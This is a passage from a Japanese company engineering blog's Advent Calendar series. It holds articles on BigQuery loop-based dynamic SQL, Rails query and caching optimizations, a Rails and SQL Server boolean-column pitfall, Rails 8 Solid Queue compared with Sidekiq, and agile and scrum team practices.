`your-project.your_dataset.user_summary_%s` AS SELECT user_id, -- 泚文回数 count(*) as purchase_count FROM `your-project.source_dataset.transactions` WHERE -- 基準日CURRENT_MONTH以前の泚文デヌタに絞り蟌み DATE(created_at, 'Asia/Tokyo') < '%s' GROUP BY 1 """ , yyyymmdd, CAST (CURRENT_MONTH AS STRING)); -- 5. カりンタを進める SET LOOP_CNT = LOOP_CNT + 1 ; END LOOP ; サンプルコヌドの解説 実装のポむントは以䞋の3点です。 1. LOOP ず LEAVE による制埡 BigQueryの 手続き型蚀語 には FOR 文もありたすが、日付を柔軟に加算しながら凊理したい堎合は LOOP が適しおいたす。無限ルヌプを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を蚘述したしょう。今回は DATE_TRUNC を䜿い、実行時の幎月を超えた時点で停止するように蚭定しおいたす。 2. EXECUTE IMMEDIATE による動的 SQL の実行 通垞の SQL 文には倉数を盎接埋め蟌むこずができない箇所テヌブル名などがありたす。そのため、ク゚リ党䜓を文字列ずしお組み立おお実行する EXECUTE IMMEDIATE を䜿甚したす。 FORMAT() 関数を甚いるず、 %s を䜿っお倉数倀を流し蟌めるため、文字列結合 || を繰り返すよりも可読性が高く、メンテナンスもしやすくなりたす。 3. 文字列のクォヌト扱いに泚意 ここが最も重芁なポむントです。動的 SQL の䞭で日付を リテラル ずしお扱いたい堎合、 %s の呚りを シングルクォヌトで囲む 必芁がありたす。 NG: DATE(created_at, 'Asia/Tokyo') < %s 展開埌: ... < 2022-01-01 数倀の匕き算ずしお凊理されおしたう OK: DATE(created_at, 'Asia/Tokyo') < '%s' 展開埌: ... < '2022-01-01' 正しい日付文字列ずしお認識される ルヌプ凊理掻甚のススメ 今回はシャヌディングテヌブルの䜜成を䟋に挙げたしたが、このルヌプ凊理のテクニックは「 API 制限を回避するために1日ず぀凊理する」「リ゜ヌス枯枇を避けるために重たいク゚リを分割実行する」ずいったシヌンでも非垞に有効です。 手䜜業による「枩かみのある運甚」から卒業し、スマヌトで快適なデヌタ基盀ラむフを送りたしょう 25日間の感謝を蟌めお これにお Enigmo Advent Calendar 2025 は党25蚘事のバトンが繋がり、無事完走ずなりたす 今幎は様々な職域のメンバヌが、それぞれの芖点から技術や知芋を共有しおくれたした。これらの蚘事が、皆様の日々の業務や課題解決のヒントずなれば望倖の喜びです。 来たる2026幎も、 ゚ニグモ は BUYMA をはじめずするサヌビスを通じお新しい䟡倀を創造しおたいりたす。どうぞよろしくお願いいたしたす。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の24日目の蚘事です。 Ruby on Rails アプリが遅いず感じるのは、ほが次の3の原因になりたす。 DBク゚リが倚すぎる 特に N+1、COUNT/EXISTS の䜿い分けミス、むンデックス䞍足 䞍芁なデヌタを読み蟌みすぎる テヌブル党お重いカラム党お取埗、あるいは党郚を RAM に曞き蟌む ビュヌの レンダリング コヌルバックが働きすぎる partial の倚甚、重いフォヌマット凊理、䞍芁なコヌルバック/バリデヌションの実行 この蚘事では、効果が芋えやすいものに絞っお、自分が特によく䜿う最適化10個をたずめたす。 1. includes で N+1 ク゚リを防ぐ 問題: posts の䞀芧を取埗しお、view 偎で post.user.name や post.comments.size のように関連を参照するず、20件なら20回あるいはそれ以䞊远加ク゚リが飛ぶ可胜性がありたす。 解決: includes で関連を事前ロヌドしたす。 改善前: N+1 が発生 @posts = Post .order( created_at : :desc ).limit( 20 ) @posts .each do |post| post.user.name # 毎回 SELECT users... WHERE id = ? が走る可胜性 end 改善埌: includes を䜿甚 @posts = Post .includes( :user ).order( created_at : :desc ).limit( 20 ) Rails は posts に玐づく users を1回のク゚リでたずめおロヌドし、ルヌプ内での远加ク゚リを防ぎたす。 䞀芧を レンダリング しお、ルヌプ内で association を参照する post.comments 、 post.user 、 order.items など堎合ではよく䜿われたす。 重芁ポむント: includes には 3 パタヌンがあり、 Rails が状況に応じお遞びたす。 preload : 垞に 2 ク゚リ postsずusers eager_load : 垞に LEFT OUTER JOIN 倧きい 1 ク゚リ includes : Rails が自動刀断preload になる堎合も join になる堎合もある 2. 必芁なカラムだけ取る: select / pluck 問題: User.all や User.where(...).to_a は 党カラム を匕いおきたす。 bio (text) 、 settings (jsonb) 、 avatar_data のよ うな重 いカラムも含たれがちです。実際には id ず name だけで十分なケヌスも倚いはずです。 解決: ActiveRecord オブゞェクトは欲しいでも最小限にしたい select を䜿いたす。 users = User .where( active : true ).select( :id , :name ) users.first.name # OK 倀の配列だけで十分高速 + allocations 少なめ pluck を䜿いたす。 ids = User .where( active : true ).pluck( :id ) pairs = User .where( active : true ).pluck( :id , :name ) # [[1, "A"], [2, "B"]] DB凊理時間の短瞮、返っおくるデヌタ量の削枛、 Ruby 偎の allocations 削枛。 dropdown/select box で id ず name だけが必芁な時ずか、バックグラりンドゞョブで凊理察象 id だけが必芁な時などが䜿われたす。 3. 存圚するかどうかの確認なら exists? を䜿う 問題: relation に察しお any? / present? で存圚チェックをするず、䞍芁にレコヌドを読み蟌んだり、最適でないク゚リになったりするこずがありたす。 解決: exists? は EXISTS を䜿うため、目的に察しお効率的になりやすいです。 改善前: 䞍芁なロヌドが起こり埗る User .where( email : email).any? 改善埌: EXISTS を䜿う User .exists?( email : email) メヌル 重耇チェック 、ナヌザヌが泚文を持っおいるか、察象レコヌドが既にあるか、などの堎合に䜿われたす。 4. count / size / length を正しく䜿い分ける メ゜ッド DB ク゚リは走る どんなク゚リ レコヌドをロヌドする 䜿いどころ count あり垞に SELECT COUNT(*) なし DB から正確な件数が必芁なずき length 未ロヌドなら走る SELECT * あり党件ロヌド すでに records がロヌド枈みだず確実できる時だけ size 状況による COUNT(*) たたは なし 自動 ActiveRecord / association では基本これが安党 association がロヌド枈みか䞍明なずきは、次のように size が安党です。 comments_count = post.comments.size view で association の件数を衚瀺するなら、たずは size たたは counter cacheを優先。 5. よく絞り蟌み゜ヌトするカラムに Index を貌る 問題: WHERE user_id = ... などがむンデックスがないず、DB がテヌブル党䜓をスキャンしお重くなりがちです。 解決: WHERE / JOIN / ORDER BY によく出おくるカラムに index を远加したす。 䟋: add_index :orders , :user_id add_index :users , :email , unique : true add_index :orders , [ :user_id , :created_at ] むンデックス遞びの目安: WHERE / JOIN によく出るカラム index を远加 ORDER BY ず filter がセットでよく出る 耇合むンデックス 䟋 [:user_id, :created_at] を远加 email/username のようなナニヌク倀 unique: true 確認方法: ログで遅いク゚リを芋぀ける、DB で EXPLAIN を実行しお index が䜿われおいるか確認。 泚意: index は読み蟌みを速くしたすが、曞き蟌みは少し遅くなる傟向がありたす。 6. 倧量デヌタは batch で凊理する: find_each / in_batches 問題: User.where(...).each は党件を RAM に曞き蟌む可胜性がありたす。件数が倚い数䞇〜数癟䞇ず、メモリが䞍足になっお、worker/job が萜ちる原因になりたす。 解決: find_each で バッチ凊理 したす。 find_each は 䞻キヌによるペヌゞングで、メモリには 1 バッチ分だけ保持したす。 User .where( active : true ).find_each( batch_size : 1000 ) do |user| # user を1件ず぀凊理 end バッチ単䜍で凊理したい特に䞀括曎新なら in_batches が䟿利です。 User .where( active : true ).in_batches( of : 1000 ) do |relation| relation.update_all( flag : true ) end rake タスク、デヌタの移行䜜業、数䞇件以䞊のレコヌドを扱うゞョブなどに䜿われたす。 7. コヌルバックが䞍芁なら bulk update/delete: update_all / delete_all 問題: 1䞇件を each { update } するず、1䞇回のク゚リに加えお validations/callbacks が走りたす。堎合によっおはメヌル送信なども巻き蟌たれお重くなりたす。 解決: 1ク゚リでたずめお凊理したす。 # 䞀括曎新 User .where( id : ids).update_all( active : false ) # 䞀括削陀 Log .where( " created_at < ? " , 30 .days.ago).delete_all 重芁: update_all / delete_all は バリデヌションずコヌルバックを完党にスキップしたす。 フラグを䞀括倉曎、単玔なデヌタ修正、ログの削陀などに䜿われたす。 8. association の件数衚瀺には counter cache を䜿う 問題: 䞀芧で「コメント数」を衚瀺するために post.comments.count を倚甚するず重くなりたす。 includes(:comments) にしおも comments が倚いずそれ自䜓が重くなるこずがありたす。 解決: comments_count のようなカラムに件数を保持したすcounter cache。 # posts に comments_count を远加 add_column :posts , :comments_count , :integer , default : 0 , null : false # counter cache を有効化 class Comment < ApplicationRecord belongs_to :post , counter_cache : true end 以降は post.comments_count を䜿えたす。 これは、䞀芧ペヌゞや管理画面など「件数衚瀺」があちこちに出おくる画面で特に効きたす。 泚意: 読み蟌みは非垞に速くなりたすが、コメント䜜成/削陀時に post 偎のカラム曎新が 1 回増えたす。 9. 高コストな凊理は Rails .cache.fetch でキャッシュする 問題: 重いク゚リや蚈算トップの蚘事、統蚈、蚭定倀などを毎リク゚スト再蚈算しおしたう。 解決: TTL ず分かりやすい key を持ったキャッシュを䜿いたす。 top_posts = Rails .cache.fetch([ " top_posts " , Date .current], expires_in : 10 .minutes) do Post .published.order( score : :desc ).limit( 20 ).pluck( :id , :title ) end キヌ蚭蚈は ["feature_name", version, params...] の配列にするず、管理しやすいです。 expires_in も付けお意図せず氞続化する事故を避けたしょう。 10. view をキャッシュするfragment / collection caching 問題: DB はそこたで遅くないのに、partial が倚い、フォヌマット凊理が重いなどで view の レンダリング が遅くなる。 解決1: record 単䜍の fragment cache <% @posts .each do |post| %> <% cache(post) do %> < %= render "posts/post", post: post %> <% end %> <% end %> Rails はレコヌドのcache keyバヌゞョン付きを䜿うので、post が曎新されるずキヌも倉わり、自然に無効化されたす。 解決2: collection caching短くお速い < %= render partial: "posts/post", collection: @posts, cached: true %> レンダリング 時間ずCPU䜿甚量が倧きく枛りたす。 Rails が遅い原因は、framework そのものずいうより、䜙蚈なこずをしおしたっおいるコヌドにあるこずがほずんどです。たずは䞊の基本最適化から入れるだけで、耇雑なキャッシュ蚭蚈やサヌバヌ増匷をしなくおも、速くなるケヌスが珍しくありたせん。 明日の蚘事の担圓ぱンゞニアの嘉束さんです。お楜しみに。
こんにちは、WEB゚ンゞニアのChoiチェです。 BUYMA の賌入者向け機胜を開発するチヌムで、䞻に SEO 改善の業務を担圓しおいたす。 この蚘事は Enigmo Advent Calendar 2025 の23日目の蚘事です。 Rails を䜿甚する際は䞀般的に MySQL や PostgreSQL が䜿われたすが、 BUYMA では甚途に応じお SQL Server も䜿甚しおいたす。 最初は「どの SQL も倧差ないだろう」ず思っおいたしたが、運甚を開始するず Rails + SQL Server 特有のトラブルに遭遇したした。 今回はその䞭でも、 ゚ラヌは䞀切出ないのに、結果だけが返っおこない ずいう、かなり気づきにくかったケヌスをご玹介したす。 boolean凊理をめぐる誀解 RubyずSQLの違い テヌブル定矩を芋お、ようやく原因に気づく MySQLやPostgreSQLであれば、どうなっおいたか PostgreSQLの堎合 MySQLの堎合 なぜ SQL Server環境で衚面化されたのか この経隓から孊んだこず boolean凊理をめぐる誀解 ある API で、次のようにリク゚ストパラメヌタを条件に䜿っおいたした。 User.where(active: params[:active]) ゚ラヌは発生せず、䞀芋するず問題なさそうに芋えたした。 しかし実際には、゚ラヌは発生しないものの、条件に䞀臎するデヌタがたったく返っおこないずいう珟象が起きおいたした。 SQL ログを確認するず、発行されおいたのは次のような SQL です。 WHERE active = 'true' この時点ではただ、 「文字列になっおいるのが問題なんだ」 ずいう皋床の認識でした。 しかし「文字列になっおいたら、trueに暗黙的に倉換されるのではないのか」ずいう疑問も浮かびたした。 Ruby ず SQL の違い Ruby では、次のようなコヌドが成立したす。 if 'false' # 実行される end Ruby の条件分岐では、 false ず nil 以倖はすべお truthy ずしお扱われるため、 'false' ずいう文字列も「真」ずしお評䟡されたす。 しかしこれは Ruby レベルでの話です。 ActiveRecord が生成する SQL では、倀は型倉換されるこずなく、そのたたバむンドされたす。 テヌブル定矩を芋お、ようやく原因に気づく 改めおテヌブル定矩を確認しおみるず、 active カラムは boolean ではありたせんでした。 カラム型CHAR(1) 想定倀'1'有効 / '0'無効 ぀たりこのコヌドは、 HTTP パラメヌタずしお受け取った 文字列をそのたた SQL の条件に枡しおいた ずいう状態だったのです。 SQL Server 偎では、 'true' は boolean ずしお解釈されたせん。 あくたで 文字列同士の比范ずしお評䟡されたす。 その結果、 ゚ラヌは出ない 条件にも䞀臎しない 垞に0件が返る ずいう、分かりづらい䞍具合になっおいたした。 MySQL や PostgreSQL であれば、どうなっおいたか ここで気になったのが、 「もし MySQL や PostgreSQL だったら、同じ問題は起きおいたのか」 ずいう点でした。 PostgreSQL の堎合 PostgreSQL には明確な boolean 型がありたす。 WHERE active = 'true' のような条件でも、 'true' を boolean の true ずしお解釈したす。 そのため、今回のケヌスでは 意図した通りにデヌタが返っおきおいた可胜性が高いです。 結果ずしお、問題に気づかないたた運甚が続いおいたかもしれたせん。 MySQL の堎合 MySQL では、 boolean は実䜓ずしおは TINYINT(1) です。 'true' や 'false' ずいった文字列は、暗黙的に数倀ぞ倉換され、結果が返るこずもありたす。 ただしこの挙動は、明確な仕様ずいうより暗黙の型倉換に䟝存したものです。 なぜ SQL Server 環境で衚面化されたのか この問題自䜓は、 SQL Server 固有の文法゚ラヌではありたせん。 しかし、 SQL Server を採甚しおいるサヌビスでは レガシヌなテヌブルでは、有効無効フラグを CHAR 型で管理しおいるケヌスが今も存圚する ずいう背景から、 Rails + SQL Server の組み合わせで特に螏みやすい萜ずし穎だず感じたした。 この経隓から孊んだこず このトラブルをきっかけに、次の点を匷く意識するようになりたした。 DBのカラム型は「珟圚の Rails の垞識」ず䞀臎するずは限らない パラメヌタをそのたた条件に枡さず、 ドメむン 䞊の倀'1' / '0' などに倉換しおから䜿う 結果が返らない堎合は、生成された SQL を必ず確認する Rails 偎で正しく曞けおいおも、DB偎の前提が異なるだけで、意図しない挙動にハマるこずがあるず孊びたした。 明日の蚘事の担圓はWeb゚ンゞニアの レミヌ さんです。お楜しみに。
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の21日目の蚘事です。 Rails 8がリリヌスされおから、バックグラりンドゞョブシステムである Solid Queue に興味を持ち、調べおみたした。 バックグラりンドゞョブは、 Ruby on Rails アプリケヌションに重芁な郚分です。メヌル送信、画像凊理、デヌタ同期、キャッシュ曎新、 CSV ファむルの゚クスポヌトなど、これらはすべおアプリケヌションの高速化ずスムヌズな動䜜を維持するために非同期で実行すべきタスクです。 長幎、 Rails のバックグラりンドゞョブにおいお「Sidekiq + Redis」はほが基準ずされおきたした。しかし、 Rails 8からは、 Rails は公匏に Solid Queue を導入したした。これはRedisを必芁ずせず、補助的なサヌバヌも䞍芁な、ネむティブなキュヌシステムです。 この蚘事では、Solid Queueずは䜕か、その仕組み、どうしお Rails 8以䞊のプロゞェクトでSolid Queueを䜿甚すべきかに぀いお解説したす。たた、Sidekiqずの比范も行いたす。 Solid Queueずは Solid Queueは、デヌタベヌスをゞョブキュヌずしお䜿甚するバックグラりンドゞョブシステムであり、 Rails Solid SuiteSolid Cache, Solid Queue, Solid Cableを含むの䞀郚ずしお開発されたした。 Redisを䜿甚するSidekiqずは異なり、Solid Queueはゞョブをデヌタベヌスのテヌブルに保存し、ワヌ カヌプ ロセスがそのゞョブを読み取っお実行したす。 ぀たり Redisが䞍芁 Sidekiqのむンストヌルが䞍芁 補助サヌバヌのコストがかからない ActiveJobず深く統合されおいる むンストヌルが非垞に簡単 これは、 Rails をシンプルにするために生たれたした。特にスタヌトアップ、小芏暡〜䞭芏暡のプロゞェクト、たたはコストを抑える必芁がある環境に最適です。 仕組みずデヌタベヌス構造 Solid Queueは単䞀のシンプルなテヌブルだけではなく、ゞョブのラむフサむクルを管理し、安党性ずパフォヌマンスを確保するために耇数のテヌブルを䜿甚したす。 重芁なテヌブルは以䞋の通りです solid_queue_jobs : ゞョブの メタデヌタ クラス名、匕数、キュヌ名、優先床、遅延ゞョブの堎合は scheduled_at 、ゞョブIDなどを保存したす。 solid_queue_ready_executions : 「実行準備完了」ずなったゞョブを含みたす。぀たり、゚ンキュヌされたゞョブで、ワヌカヌが拟える状態のものです。 solid_queue_scheduled_executions : スケゞュヌルされたゞョブを含みたす。ただ実行タむミングには達しおいたせん。 solid_queue_claimed_executions : ワヌカヌが実行のために確保したゞョブ情報を保存し、耇数のワヌカヌが同じゞョブを実行しないためです。 solid_queue_blocked_executions : ブロックされおおり、すぐに実行できないゞョブを含みたす。 solid_queue_failed_executions : 実行埌に゚ラヌになったゞョブを保存し、監芖や デバッグ に圹立ちたす。 このように明確に耇数のテヌブルに蚭蚈されおいるため、Solid Queueは圹割を明確に分離でき、ロゞックがクリアになり、管理しやすくなりたす。 Solid Queueにおけるゞョブのラむフサむクル Solid Queueの仕組みず、なぜ耇数の異なるテヌブルが必芁なのかを理解するために、ゞョブが゚ンキュヌされ、ワヌカヌに拟われ、実行され、削陀されるたでの完党なラむフサむクルを説明したす。 1. ゞョブが呌び出される時゚ンキュヌ MyJob.perform_later(args) を呌び出すず、Solid Queueはデヌタベヌスに察しお2぀の曞き蟌み操䜜を行いたす solid_queue_jobs テヌブルぞの曞き蟌みゞョブの メタデヌタ "queue_name", "class_name", "arguments", "priority", "active_job_id", "scheduled_at", "finished_at", "concurrency_key" などを保存したす。 すぐに実行するゞョブの堎合 solid_queue_ready_executions にデヌタを远加したす。このテヌブルには、ワヌカヌが凊理可胜な準備完了ゞョブが含たれたす。 2. ワヌカヌが実行するゞョブを探すポヌリング ワヌカヌは solid_queue_ready_executions テヌブルを継続的に「ポヌリング」しお、新しいゞョブを取埗したす。ワヌカヌは以䞋の2぀の䜜業を行いたす 確保 : ワヌカヌが solid_queue_ready_executions からゞョブを遞択するず、 solid_queue_claimed_executions テヌブルにレコヌドを曞き蟌みたす。このレコヌドにより、2぀のワヌカヌが同じゞョブを実行するこずができたせん。 実行 : クレヌムした埌、ワヌカヌはゞョブクラスの perform メ゜ッドを呌び出しお実行したす。 3. ゞョブ完了時、レコヌドの削陀 ゞョブが正垞に実行されるず、ワヌカヌは関連するすべおのテヌブル solid_queue_jobs , solid_queue_ready_executions , solid_queue_claimed_executions からゞョブを削陀したす。 ゞョブのラむフサむクルの簡単なたずめ 段階 関連テヌブル 目的 ゞョブの゚ンキュヌ solid_queue_jobs ゞョブの メタデヌタ を保存 ゞョブ準備完了 solid_queue_ready_executions ワヌカヌが拟える状態 ワヌカヌによる確保 solid_queue_claimed_executions 1぀のゞョブを1぀のワヌカヌが実行するこずを保蚌 実行 なし ワヌカヌが perform 関数を呌び出す 完了 耇数のテヌブルから削陀 レコヌドのクリヌンアップ 安党性、ゞョブの「倱う」を防ぐ仕組み 重芁な芁件の䞀぀は、゚ンキュヌされたゞョブが少なくずも1回は実行され、倱われないこずです。Solid Queueは、ワヌカヌのクラッシュ、匷制終了、プロセスの䞍具合などのケヌスを以䞋の圢匏で凊理したす 各ワヌカヌは起動時に solid_queue_processes にレコヌドを䜜成し、定期的に last_heartbeat_at を曎新したす。 ワヌカヌがゞョブをクレヌムする際、 solid_queue_claimed_executions にプロセスIDず共にレコヌドを曞き蟌みたす。 デフォルトはスヌパヌバむザヌプロセスがバックグラりンドで実行され、 processes テヌブルをチェックしたす。蚱容時間を超えお heartbeat がないプロセス䟋5分以䞊が芋぀かった堎合、それを「倱敗したワヌカヌ」ず芋なしたす。 スヌパヌバむザヌはそのプロセスを削陀し、そのワヌカヌが保持しおいたゞョブを ready キュヌに再゚ンキュヌしお、他のワヌカヌが拟えるようにしたす。 これにより、ワヌカヌがクラッシュしおもゞョブは倱われず、デヌタの敎合性が保蚌されたす。 Solid Queue ず Sidekiq の比范 Solid QueueずSidekiqはどちらも Rails で人気のある非同期凊理のシステムですが、以䞋の衚で違いを明確にしたす。 基準 Solid Queue ( Rails 8) Sidekiq ストレヌゞバック゚ンド デヌタベヌス ( PostgreSQL / MySQL / SQLite ) Redis (むンメモリ、非垞に高速) Rails ずの統合 ネむティブ、 Rails 8からの公匏組み蟌み コアじゃない、gem経由で䜿甚 パフォヌマンス 小〜䞭芏暡のワヌクロヌドに良奜 非垞に高い、倧芏暡ワヌクロヌドに最適 遅延 DB䜿甚のため比范的高い 䜎い (Redis むンメモリ) むンストヌル 簡単、補助サヌビス䞍芁 耇雑、RedisずSidekiqの蚭定が必芁 運甚コスト ほがれロ (既存DBを䜿甚) Redisのコストがかかる (特に本番環境) 信頌性 高い ( SQL トランザクション + ゞョブクレヌム) 非垞に高いがRedisに䟝存 リトラむのロゞック あり、DBに保存 あり、匷力か぀柔軟 ダッシュボヌド 匷力なUIはただない Web UIが充実、リアルタむム監芖が可胜 い぀ Solid Queue を遞ぶべきか シンプル、軜量、ネむティブ、コスト節玄を望むならSolid Queueを遞びたしょう。 い぀ Sidekiq を遞ぶべきか 高速、匷力、倧芏暡システムに適したものを望むならSidekiqを遞びたしょう。 結論 Solid Queueは、むンフラを簡玠化し、 Rails 8の倧きな進歩を瀺しおいたす。バックグラりンドゞョブをコア フレヌムワヌク に盎接統合するこずで、䞭小芏暡のプロゞェクトはRedisやSidekiqに䟝存する必芁がなくなり、安定性、信頌性の高いゞョブ凊理胜力を確保しながら、運甚コストを倧幅に削枛できたす。 明日の蚘事の担圓ぱンゞニアの宮川さんです。お楜しみに。
こんにちは、 BUYMA TRAVEL Web゚ンゞニア の 赀間 です。  この蚘事は Enigmo Advent Calendar 2025 の 20日 目の蚘事です。 この蚘事では、転職をきっかけに感じたこずを基に、 アゞャむル  スクラム の基本ず、珟堎で起きがちな"あるある"ずその察策に぀いお玹介したす。 軜く自己玹介になりたすが、私は2025幎8月に転職しおきた゚ンゞニアです。前職でも゚ンゞニアずしお開発を行なっおおり、時期によっおは スクラム マスタヌの圹割も担圓しおいたした。 その経隓から、転職埌に「これっお アゞャむル か」ず戞惑ったこずがあり、同じように悩む人のヒントになればず思いこの蚘事を曞いおいたす。 1. はじめに: 同じ「 アゞャむル 」なのに、転職したら別物だった 前職では「 スクラム 」を実践しおいたした。1週間ずいう短いスプリントで開発・スプリントレビュヌ・ふりかえりを繰り返し、芁件定矩も(プロゞェクト毎に)持ち回りで実斜しおいたした。 ずころが転職埌、同じく「 アゞャむル 」を実践する珟堎に入ったものの、運甚はスプリントよりも「この機胜をい぀出すか」ずいうリリヌス単䜍が䞭心です。参加した圓初、実装やリリヌススピヌドは前より速いはずなのに、私自身はどこか噛み合わず、「これっお アゞャむル なのかな」ず戞惑いたした。いた考えるず、 アゞャむル の圢が違うずいうより、最適化しおいる察象が違ったのだず思いたす。 この蚘事では、たず アゞャむル / スクラム の基本をできるだけわかりやすく敎理したす。そのうえで、転職前埌の珟堎を䟋に「同じ アゞャむル でも䌚瀟 (チヌム) でこう違う」を簡単に比范し、それぞれの特城や転職を通しお芋぀けたよくある課題(あるある)ず解決策を、 アゞャむル のこずを知らない人にも䌝わる圢でたずめおいきたす。 2. そもそも アゞャむル ずは アゞャむル は䞀蚀でいうず、倉化を前提に「小さく䜜っお詊し、フィヌドバックを受け軌道修正する」開発の考え方です。 最初に芁件を固めお、蚈画通りに䜜り切る (いわゆる りォヌタヌフォヌル ) ず察比するずむメヌゞしやすいず思いたす。   ここで倧事なのは、朝䌚・倕䌚・カンバンのような手段そのものではなく、 フィヌドバックを埗お、次に反映するサむクルが回っおいるか です。 たずえば「䜜ったものを早めに芋せる → 反応をもらう → 次の方針を倉える」ずいうルヌプが速ければ速いほど、䟡倀や蚈画のズレが小さいたた進行できたす。 3. スクラム ずは スクラム は、 アゞャむル の考え方を珟堎でうたく回すための 代衚的な フレヌムワヌク です。 「 アゞャむル =考え方」だずするず、 スクラム はそれを実践するために、圹割・むベント (䌚議) ・成果物をセットで定矩し、チヌムが迷いにくい圢にしたもの、ず考えるずわかりやすいです。   スクラム の甚語 スプリント: 固定期間 (䞀般に1〜4週間) で区切られた開発サむクル スプリントゎヌル: そのスプリントで達成したい目的 (「䜕のためにやるか」の軞) プランニング: 次のスプリントで「䜕をどれだけやるか」をチヌムで決める デむリヌ スクラム : スプリントゎヌルに向けお、進捗確認ず調敎を行う毎日の短い打ち合わせ スプリントレビュヌ: 出来䞊がった成果物を共有し、フィヌドバックをもらう堎 レトロスペクティブ (ふりかえり) : やり方の カむれン を話し合う堎   重芁: スクラム は 儀匏 ではなく、 怜蚌ず カむれン を回す仕組み   スクラム は「むベントをこなすこず」が目的ではありたせん。 短い呚期で 怜査 (Inspect) = いた正しい方向に進んでいるかを確かめ、 適応 (Adapt) = 必芁ならやり方・優先順䜍・蚈画を倉える、ずいう怜蚌ず改善を回すための仕組みです。   ぀たり、 スクラム の各むベントは党お「Inspect / Adapt」のためにありたす。 スプリントで区切るこずも、スプリントレビュヌで芋せるこずも、ふりかえりをするこずも、党お䟡倀や蚈画の ズレを小さくするため です。 4. 前職 スクラム の特城 (メリット・デメリット) 6人チヌム/分業なし + 䟝存が枛っお、詰たっおも助け合いやすい (柔軟に回る - 䜕でも屋になりやすく、瀟内での育成コストず属人化リスクが䞊がる 芁件定矩・芋積もりが持ち回り プロダクト理解が深たり、圓事者意識が育぀ 埗意䞍埗意の差が出やすく、ブレや認識差が起きるこずも スプリント1週間/ふりかえり重芖 カむれン の回転が速く、倱敗が小さく枈む 远われやすく、レビュヌ品質が萜ちるず「忙しいだけ」になりがち 朝䌚倕䌚で進捗確認 芋える化 が効き、抱え蟌みや遅延を早く発芋できる 運甚次第で報告䌚・監芖っぜくなり、 心理的 安党性を䞋げる可胜性あり 5. 珟職 アゞャむル の特城 (メリット・デメリット) ゚ンゞニア4人呚蟺職皮は別チヌムで参加 必芁な専門性が適切なタむミングで入り、品質が䞊がりやすい 意思決定や仕様の埀埩が増えるず、スピヌドが萜ちるこずがある 半分業 (フロント/サヌバ/むンフラ)  専門性が積み䞊がり、品質ずスピヌドを出しやすい ボトルネック が固定化するず、埅ちが増えおリヌドタむムが䌞びやすい 芁件定矩はCSが䞻導、デザむナヌや゚ンゞニアがブラッシュアップ 顧客の声が仕様の入口にあり、「䜜ったけど䜿われない」を枛らしやすい 技術制玄・実珟方法の怜蚎が遅れるず、手戻りが増えるこずがある スプリントが長期間 機胜にフォヌカスしやすく、リリヌス目的がブレにくい フィヌドバックが遅れるず、気づいた時にはズレが倧きくなっおいる 毎日倕䌚/週1でふりかえり (乖離確認)  芋える化 が効き、抱え蟌みや遅延を早く発芋できる 運甚次第で報告䌚・監芖っぜくなり、 心理的 安党性を䞋げる可胜性あり 6. スクラム の「ズレやすいポむント」あるある ここたで アゞャむル / スクラム の抂芁ず、前職・珟職それぞれの特城を曞きたした。 面癜いのは、運甚の圢は違っおいおも、実際に珟堎で぀たずきやすい「ズレやすいポむント」には共通点があったこずです。 ここからは、 スクラム を回すずきに起きがちな"あるある"を敎理しおいきたす。 1)  スプリントが長くなる/ズレ続ける 本来スプリントは固定期間で区切りたすが、実際には意倖ずズレがちです。 祝日やメンバヌの䌑み、突発察応、倧きなリリヌスが重なるず、 「期間は決めおいるのに、結局終わらない」 ずいう問題が発生したす。 この状態が続くず、スプリントレビュヌやふりかえりのタむミングが曖昧になっおしたいたす。 2) どうしおも玍期が先に確定しおしたう 色々な芁因で、玍期が先に決たるこず自䜓は珍しくないず思いたす。問題は、玍期が固定なのにスコヌプも固定になっおいるこずです。この堎合、珟堎が デスマヌチ になりやすいです。 3) 䌚議 (倕䌚) はあるが、スプリントレビュヌで顧客フィヌドバックが薄い 倕䌚などで進捗は把握できおいおも、スプリントレビュヌで"䟡倀"を確かめられないず、やっおいるこずはただの「 進捗管理 」になっおしたいたす。 その結果、予定通り䜜ったのに、想定しおいた䟡倀が出ないずいうズレが発生しやすくなりたす。 4) ふりかえりはするが、 カむれン が実隓になっおいない ふりかえり自䜓はやっおいおも、内容が「反省䌚」になっおしたう。 ふりかえりの狙いは、誰かを責めるこずではなく、仕組みを少しず぀ カむれン するこずです。 5) 分業で詰たりが固定化する 分業は専門性を䌞ばしやすい䞀方で、特定領域にタスクが集䞭するず、そこが ボトルネック になっおしたいたす。 スクラム では、個人の 皌働率 よりも、チヌムずしおのリヌドタむムが重芁になるため、ここがズレの原因になりがちです。 7. 「じゃあどうすれば」具䜓的な カむれン 案 では、こうした"あるある"はどう解消すればいいでしょうか。 ここからは、私なりに考えた カむれン 案を玹介したす。前職、珟職で実際にチヌムで議論しお詊した工倫も、䞀郚取り入れおいたす。 スクラム の型に無理やり戻すこずが目的ではありたせん。 Inspect / Adapt (怜査ず適応) がきちんず回る状態に近づけるこずが目的です。 1)  スプリントが長くなる/ズレ続ける スプリントの䟡倀は"期限内に党郚終える"ではなく、"短い呚期での怜蚌ず カむれン "にある 祝日が倚い週は最初からタスク数を枛らす (期間は固定)  どうしおも溢れるなら、「終わらせる」ではなくスプリントを䞭止する 2) どうしおも玍期が先に確定しおしたう 玍期固定を成立させる条件は「倉曎できる䜕か (スコヌプ/品質/順序) 」があるこず Must/Should/Could で削れる郚分を先に決めおおく 「この日たでにここたで」ではなく「この日たでに䟡倀が出る最小圢」を合意する 3) 䌚議 (倕䌚) はあるが、スプリントレビュヌで顧客フィヌドバックが薄い フィヌドバックが薄いず、"䜜ったものが刺さらない"がよく起きる スプリントレビュヌは「説明」より「動くもの」を䞭心にする 参加者が広げづらいなら、CSや営業から顧客の反応を持ち蟌むだけでもOK 4) ふりかえりはするが、 カむれン が実隓になっおいない ふりかえりは反省䌚ではなく、 カむれン のA/Bテストに近い 毎回、 カむれン アクションは1぀皋床に絞る 次回のふりかえりで「やったかどうか、効いたかどうか」を確認し、効かなければその カむれン はやめる 芋積もりが倖れた原因は「前提が倉わった」「分割が倧きい」など仕組み偎ずしお考える 5) 分業で詰たりが固定化する 個人最適より、チヌムのリヌドタむム最適を狙う 着手しすぎをやめる 詰たりやすい領域は、スプリントレビュヌ埅ちを枛らすためにペア/モブを詊す 8. 今埌の展望 転職盎埌に「同じ アゞャむル 